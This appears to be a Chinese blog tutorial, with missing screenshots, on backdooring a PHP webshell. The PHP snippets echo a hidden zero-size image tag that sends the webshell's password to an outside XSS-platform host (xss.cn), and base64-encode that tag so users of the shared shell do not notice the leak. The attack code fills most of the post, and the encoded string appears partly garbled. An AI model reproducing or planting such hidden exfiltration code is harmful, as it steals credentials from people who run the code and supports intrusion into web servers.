给你的PHP大马添加后门(黑吃黑)

时间：2018-06-24 00:58:49 阅读：307 评论：0 收藏：0 [点我收藏+]

标签：浏览器冲突类型 http 待完善 bsp jpg 项目实验

Part 1 引子

　　说什么好呢，发个图就当个引子好了。

技术分享图片

Part 2 XSS平台

　　创建项目

技术分享图片

　　选择类型

技术分享图片

　　xss代码

技术分享图片

　　小实验，刷新代码

技术分享图片

　　XSS平台上

技术分享图片

Part 3 后门

　我们写这样一个脚本

<?php
$password = ‘admin‘;  // 假设这个大马密码
                              // 这个是你自己的xss代码 
echo ‘<img width=0height=0 src="http://xss.cn/xss.php?do=api&id=c7rL&location=‘.$password.‘"/>‘;

　　浏览器，运行脚本

技术分享图片

　　XSS平台上

技术分享图片

　　　加密XSS代码

技术分享图片

　　最终脚本

<?php
$password = ‘hacksb‘;  // 假设这个大马密码
$url = ‘base64加密代码‘;
$hm = base64_decode($url);
echo $hm.$password.‘ "/>‘;

　　测试下，运行脚本。

<?php
$password = ‘hacksb‘; 
$url = ‘PGltZB3aWR0aD0waGVpZ2h0PTAgc3JjPJodHRwOi8veHzMS5jbi94c3MucGhwP2RvPWFwaSZpZD1jNJmxvY2F0a9uPQ==‘;
$hm = base64_decode($url);
echo $hm.$password.‘ "/>‘;